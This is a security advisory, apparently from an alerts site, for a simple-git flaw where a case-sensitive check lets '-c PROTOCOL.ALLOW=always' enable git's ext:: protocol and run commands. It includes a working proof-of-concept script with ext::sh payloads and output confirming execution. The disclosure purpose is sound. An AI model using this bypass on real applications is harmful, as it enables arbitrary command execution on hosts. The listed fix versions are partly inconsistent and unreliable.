CVE-2026-28292: simple-git has blockUnsafeOperationsPlugin bypass via case-insensitive protocol.allow config key that enables RCE

Published Mar 10, 2026
·
Updated

Summary

The blockUnsafeOperationsPlugin in simple-git fails to block git protocol override arguments when the config key is passed in uppercase or mixed case. An attacker who controls arguments passed to git operations can enable the ext:: protocol by passing -c PROTOCOL.ALLOW=always, which executes an arbitrary OS command on the host machine.

---

Details

The preventProtocolOverride function in simple-git/src/lib/plugins/block-unsafe-operations-plugin.ts (line 24) checks whether a -c argument configures protocol.allow using this regex:

ts if (!/^\sprotocol(.[a-z]+)?.allow/.test(next)) { return; }

This regex is case-sensitive. Git treats config key names case-insensitively — it normalises them to lowercase internally. As a result, passing PROTOCOL.ALLOW=always, Protocol.Allow=always, or any mixed-case variant is not matched by the regex, the check returns without throwing, and git is spawned with the unsafe argument.

Verification that git normalises the key:

bash $ git -c PROTOCOL.ALLOW=always config --list | grep protocol protocol.allow=always

The fix is a single character — add the /i flag:

ts // Before (vulnerable): if (!/^\sprotocol(.[a-z]+)?.allow/.test(next)) {

// After (fixed): if (!/^\sprotocol(.[a-z]+)?.allow/i.test(next)) {

---

poc.js

js / Proof of Concept — simple-git preventProtocolOverride Case-Sensitivity Bypass CVE-2022-25912 was fixed in simple-git@3.15.0 by adding a regex check that blocks -c protocol..allow=always from being passed to git commands. The regex is case-sensitive. Git treats config key names case-insensitively. Passing -c PROTOCOL.ALLOW=always bypasses the check entirely. Affected : simple-git >= 3.15.0 (all versions with the fix applied) Tested on: simple-git@3.32.2, Node.js v23.11.0, git 2.39.5 Reporter : CodeAnt AI Security Research (securityreseach@codeant.ai) /

const simpleGit = require('simple-git'); const fs = require('fs');

const SENTINEL = '/tmp/pwn-codeant';

// Clean up from any previous run try { fs.unlinkSync(SENTINEL); } catch () {}

const git = simpleGit();

// ── Original CVE-2022-25912 vector — BLOCKED by the 2022 fix ──────────────── // This is the exact PoC Snyk used to report CVE-2022-25912. // It is correctly blocked by preventProtocolOverride in block-unsafe-operations-plugin.ts. git.clone('ext::sh -c touch% /tmp/pwn-original% >&2', '/tmp/example-new-repo', [ '-c', 'protocol.ext.allow=always', // lowercase — caught by regex ]).catch((e) => { console.log('ext:: executed:poc', fs.existsSync(SENTINEL) ? 'PWNED — ' + SENTINEL + ' created' : 'not created'); console.error(e); });

// ── Bypass — PROTOCOL.ALLOW=always (uppercase) ────────────────────────────── // The fix regex /^\sprotocol(.[a-z]+)?.allow/ is case-sensitive. // Git normalises config key names to lowercase internally. // Uppercase variant passes the check; git enables ext:: and executes the command. git.clone('ext::sh -c touch% ' + SENTINEL + '% >&2', '/tmp/example-new-repo-2', [ '-c', 'PROTOCOL.ALLOW=always', // uppercase — NOT caught by regex ]).catch((e) => { console.log('ext:: executed:', fs.existsSync(SENTINEL) ? 'PWNED — ' + SENTINEL + ' created' : 'not created'); console.error(e); });

// ── Real-world scenario ────────────────────────────────────────────────────── // An application cloning a legitimate repository with user-controlled customArgs. // Attacker supplies PROTOCOL.ALLOW=always alongside a malicious ext:: URL. // The application intends to clone https://github.com/CodeAnt-AI/codeant-quality-gates // but the injected argument enables ext:: and the real URL executes the command instead. // // Legitimate usage (what the app expects): // simpleGit().clone('https://github.com/CodeAnt-AI/codeant-quality-gates', // '/tmp/codeant-quality-gates', userArgs) // // Attacker-controlled scenario (what actually runs when args are not sanitised): const LEGITIMATEURL = 'https://github.com/CodeAnt-AI/codeant-quality-gates'; const CLONEDEST = '/tmp/codeant-quality-gates'; const SENTINELRW = '/tmp/pwn-realworld'; try { fs.unlinkSync(SENTINELRW); } catch () {}

const userArgs = ['-c', 'PROTOCOL.ALLOW=always']; const attackerURL = 'ext::sh -c touch% ' + SENTINELRW + '% >&2';

simpleGit().clone( attackerURL, // should have been LEGITIMATEURL CLONEDEST, userArgs ).catch(() => { console.log('real-world scenario [target: ' + LEGITIMATEURL + ']:', fs.existsSync(SENTINELRW) ? 'PWNED — ' + SENTINELRW + ' created' : 'not created'); });

---

Test Results

Vector 1 — Original CVE-2022-25912 (protocol.ext.allow=always, lowercase)

Result: BLOCKED ✅

The original Snyk PoC payload using lowercase protocol.ext.allow=always is correctly intercepted by preventProtocolOverride before git is invoked. A GitPluginError is thrown immediately and the sentinel file is never created.

Output: ext:: executed:poc not created GitPluginError: Configuring protocol.allow is not permitted without enabling allowUnsafeExtProtocol at preventProtocolOverride (.../simple-git/dist/cjs/index.js:1228:9) at .../simple-git/dist/cjs/index.js:1266:40 at Array.forEach (<anonymous>) at Object.action (.../simple-git/dist/cjs/index.js:1264:12) at PluginStore.exec (.../simple-git/dist/cjs/index.js:1489:29) at GitExecutorChain.attemptRemoteTask (.../simple-git/dist/cjs/index.js:1881:36) at GitExecutorChain.attemptTask (.../simple-git/dist/cjs/index.js:1865:88) { task: { commands: [ 'clone', '-c', 'protocol.ext.allow=always', 'ext::sh -c touch% /tmp/pwn-original% >&2', '/tmp/example-new-repo' ], format: 'utf-8', parser: [Function: parser] }, plugin: 'unsafe' }

---

Vector 2 — Uppercase bypass (PROTOCOL.ALLOW=always)

Result: BYPASSED ⚠️ — RCE confirmed

The preventProtocolOverride regex /^\sprotocol(.[a-z]+)?.allow/ is case-sensitive. PROTOCOL.ALLOW=always (uppercase) passes the check without error. Git normalises config key names to lowercase internally, enabling the ext:: protocol. The injected shell command executes before git errors on the missing repository stream.

Output: ext:: executed: PWNED — /tmp/pwn-codeant created GitError: Cloning into '/tmp/example-new-repo-2'... fatal: Could not read from remote repository.

Please make sure you have the correct access rights and the repository exists.

at Object.action (.../simple-git/dist/cjs/index.js:1440:25) at PluginStore.exec (.../simple-git/dist/cjs/index.js:1489:29) { task: { commands: [ 'clone', '-c', 'PROTOCOL.ALLOW=always', 'ext::sh -c touch% /tmp/pwn-codeant% >&2', '/tmp/example-new-repo-2' ], format: 'utf-8', parser: [Function: parser] } }

/tmp/pwn-codeant was created by the git subprocess — command execution confirmed.

---

Vector 3 — Real-world scenario (target: https://github.com/CodeAnt-AI/codeant-quality-gates)

Result: BYPASSED ⚠️ — RCE confirmed

An application passes user-controlled customArgs to simpleGit().clone(). The attacker injects PROTOCOL.ALLOW=always and substitutes a malicious ext:: URL in place of the intended repository URL. The plugin does not block the uppercase variant; git enables ext:: and executes the payload before the application can detect the failure.

Output: real-world scenario [target: https://github.com/CodeAnt-AI/codeant-quality-gates]: PWNED — /tmp/pwn-realworld created

/tmp/pwn-realworld was created — arbitrary command execution in a realistic application context confirmed.

---

Summary

| # | Vector | Payload | Sentinel file | Result | |---|--------|---------|---------------|--------| | 1 | CVE-2022-25912 original | protocol.ext.allow=always (lowercase) | not created | Blocked ✅ | | 2 | Case-sensitivity bypass | PROTOCOL.ALLOW=always (uppercase) | /tmp/pwn-codeant created | RCE ⚠️ | | 3 | Real-world app scenario | PROTOCOL.ALLOW=always + attacker URL | /tmp/pwn-realworld created | RCE ⚠️ |

The case-sensitive regex in preventProtocolOverride blocks protocol..allow but does not account for uppercase or mixed-case variants. Git accepts all variants identically due to case-insensitive config key normalisation, allowing full bypass of the protection in all versions of simple-git that carry the 2022 fix.

/tmp/pwned is created by the git subprocess via the ext:: protocol.

All of the following bypass the check:

| Argument passed via -c | Regex matches? | Git honours it? | |--------------------------|:--------------:|:---------------:| | protocol.allow=always | ✅ blocked | ✅ | | PROTOCOL.ALLOW=always | ❌ bypassed | ✅ | | Protocol.Allow=always | ❌ bypassed | ✅ | | PROTOCOL.allow=always | ❌ bypassed | ✅ | | protocol.ALLOW=always | ❌ bypassed | ✅ |

---

Impact

Any application that passes user-controlled values into the customArgs parameter of clone(), fetch(), pull(), push() or similar simple-git methods is vulnerable to arbitrary command execution on the host machine.

The ext:: git protocol executes an arbitrary binary as a remote helper. With protocol.allow=always enabled, an attacker can run any OS command as the process user — full read, write and execution access on the host.

Other sources

simple-git, an interface for running git commands in any node.js application, has an issue in versions 3.15.0 through 3.32.2 that allows an attacker to bypass two prior CVE fixes (CVE-2022-25860 and CVE-2022-25912) and achieve full remote code execution on the host machine. Version 3.23.0 contains an updated fix for the vulnerability.

— MITRE

Affected Software

2 affected componentsFixes available
npm/simple-git>=3.15.0<3.32.3
3.32.3
Simple-git Project Simple-git Node.js>=3.15.0<3.32.2

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/simple-git to a version that resolves this vulnerability.

    Fixed in 3.32.3
  2. Upgrade

    Upgrade simple-git to a version that resolves this vulnerability.

    Fixed in 3.23.0
  3. Upgrade

    Upgrade simple-git to a version that resolves this vulnerability.

    Fixed in 3.15.0
  4. Configuration

    Update the case-sensitive check to use a case-insensitive regex so that mixed-case/uppercase variants of `protocol.*.allow` (e.g., `-c PROTOCOL.ALLOW=always`) are blocked. The material shows the vulnerable regex `^\s*protocol(.[a-z]+)?.allow` and the fix as `^\s*protocol(.[a-z]+)?.allow/i`.

    simple-git (block-unsafe-operations-plugin) preventProtocolOverride regex = /^\s*protocol(.[a-z]+)?.allow/i

Event History

Mar 10, 2026
CVE Published
via MITRE·06:34 PM
Data Sourced
via MITRE·06:34 PM
DescriptionSeverityWeakness
Advisory Published
via GitHub·06:38 PM
Data Sourced
via GitHub·06:38 PM
DescriptionSeverityWeaknessAffected Software
Data Sourced
via Red Hat·07:01 PM
DescriptionSeverityAffected Software
Data Sourced
via NVD·07:17 PM
RemedyDescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-28292?

CVE-2026-28292 is considered critical due to its potential for remote code execution.

2

How do I fix CVE-2026-28292?

To fix CVE-2026-28292, update `simple-git` to version 3.32.3 or later.

3

What versions of simple-git are affected by CVE-2026-28292?

CVE-2026-28292 affects versions of simple-git from 3.15.0 to 3.32.2.

4

What type of attack does CVE-2026-28292 enable?

CVE-2026-28292 allows for remote code execution through the bypass of unsafe operation protections.

5

Which configurations can be manipulated in CVE-2026-28292?

The `protocol.allow` config key can be manipulated in a case-insensitive manner to bypass security controls.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203